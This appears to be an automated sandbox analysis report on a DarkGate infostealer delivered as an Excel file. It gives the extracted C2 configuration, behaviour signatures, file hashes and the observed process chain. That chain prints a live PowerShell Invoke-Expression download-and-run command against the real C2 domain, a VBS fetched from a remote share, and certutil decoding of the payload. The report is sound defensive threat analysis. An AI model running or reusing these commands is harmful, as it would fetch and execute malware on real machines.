Resubmissions

15-03-2024 02:46

240315-c9qgnagg39 10

15-03-2024 02:45

240315-c849esgg29 1

14-03-2024 17:53

240314-wgkkgsaf8s 1

14-03-2024 17:45

240314-wb7stsae5w 10

Analysis

  • max time kernel
    141s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-03-2024 17:45

General

  • Target

    march-D9445-2024.xlsx

  • Size

    60KB

  • MD5

    ac89528d1040074d45d5c19a0ceb7a6a

  • SHA1

    8b47dba91232a0e1ac14cee24267e9c26d7e483c

  • SHA256

    1d67808fee7115fa2597e8843aa10f737298c9f097397e5de486fc762753ea0b

  • SHA512

    37da11cea5188cc7b7f6c9154410d9d663d5ed306313badbaa421025c49f90bff177613a132d2bff1b529ec214d9eb034937ab8d7830d30bd4451f1579a27feb

  • SSDEEP

    1536:64N5DGhJDl5eZ9l0ohOplRfzDrtw86RUtdkV:643ChJR0vl0ohYlRfzD/6o2

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

nextroundst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    TuqohTUI

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march-D9445-2024.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2396
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\64.226.97.86\share\EXCEL_OPEN_DOC.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'nextroundst.com/qzaugqmb')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Windows\system32\certutil.exe
          "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
          4⤵
            PID:1680
          • C:\st\AutoHotkey.exe
            "C:\st\AutoHotkey.exe" script.ahk
            4⤵
            • Executes dropped EXE
            • Checks processor information in registry
            PID:4680
          • C:\Windows\system32\attrib.exe
            "C:\Windows\system32\attrib.exe" +h C:/st
            4⤵
            • Views/modifies file attributes
            PID:3100

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmn1ictb.unk.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\st\AutoHotkey.exe

      Filesize

      892KB

      MD5

      a59a2d3e5dda7aca6ec879263aa42fd3

      SHA1

      312d496ec90eb30d5319307d47bfef602b6b8c6c

      SHA256

      897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

      SHA512

      852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

    • C:\st\a.bin

      Filesize

      1.7MB

      MD5

      bf88d228baec74c7928df463db0f0fdc

      SHA1

      efe1657bb9a9a31742b71d8c14bae89b2ab5533b

      SHA256

      493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed

      SHA512

      c247a0dbba9971a8949729f888a4d8b10ca188b6fabedb9d1fe9cc7907cc4d807e66f3367ca287bf1e4062c342cbb7a724a9cc168018f55bc187e04897c8bdfa

    • C:\st\script.ahk

      Filesize

      47KB

      MD5

      c88f338fcf8601643ea31ba945f8145b

      SHA1

      d006d7357cc38dd69f99b412a57965c7f048a0cc

      SHA256

      9e794c12cbb367850dafd7e0791f992a0aa96211c373d9404209a89cf1b59f41

      SHA512

      565841f1a1bdb0aa49b25ffca24f070369553c4d5d7703a3783a73d932857adbf6b6158ecc4b30e5263cac65be6372704337bd270acf2e2c850ab5abaaddd1c9

    • C:\st\test.txt

      Filesize

      913KB

      MD5

      662041dc413d003ef0d57cccaad122a6

      SHA1

      1a79990a2ea16f5e1b33114c5add58e5c5b9be1b

      SHA256

      4a2ec674725092d9a460ca58bcd7fc51473a37b2ecd606910a4ac57086c0e2f8

      SHA512

      26a22c4524ac6f25cc470ee560edeaa5e8752fbcc201beef187b73ecf879799f2dffa14ab1c71ef35c6c6a02abb59ca02ff7e0beec644e5b52b1b04588976452

    • memory/1000-47-0x000001B426E10000-0x000001B426E20000-memory.dmp

      Filesize

      64KB

    • memory/1000-37-0x000001B426FC0000-0x000001B426FE2000-memory.dmp

      Filesize

      136KB

    • memory/1000-46-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

      Filesize

      10.8MB

    • memory/1000-45-0x000001B427690000-0x000001B427852000-memory.dmp

      Filesize

      1.8MB

    • memory/1000-44-0x000001B426E10000-0x000001B426E20000-memory.dmp

      Filesize

      64KB

    • memory/1000-43-0x000001B426E10000-0x000001B426E20000-memory.dmp

      Filesize

      64KB

    • memory/1000-42-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

      Filesize

      10.8MB

    • memory/1000-60-0x00007FF9E5EC0000-0x00007FF9E6981000-memory.dmp

      Filesize

      10.8MB

    • memory/2396-8-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-10-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-14-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp

      Filesize

      64KB

    • memory/2396-16-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-17-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-18-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-31-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-13-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-12-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-11-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-9-0x00007FF9D0440000-0x00007FF9D0450000-memory.dmp

      Filesize

      64KB

    • memory/2396-15-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-0-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

      Filesize

      64KB

    • memory/2396-6-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

      Filesize

      64KB

    • memory/2396-7-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

      Filesize

      64KB

    • memory/2396-2-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

      Filesize

      64KB

    • memory/2396-5-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-4-0x00007FF9D2BF0000-0x00007FF9D2C00000-memory.dmp

      Filesize

      64KB

    • memory/2396-3-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-1-0x00007FFA12B70000-0x00007FFA12D65000-memory.dmp

      Filesize

      2.0MB

    • memory/4680-63-0x0000000004A60000-0x0000000004AD3000-memory.dmp

      Filesize

      460KB

    • memory/4680-65-0x0000000004A60000-0x0000000004AD3000-memory.dmp

      Filesize

      460KB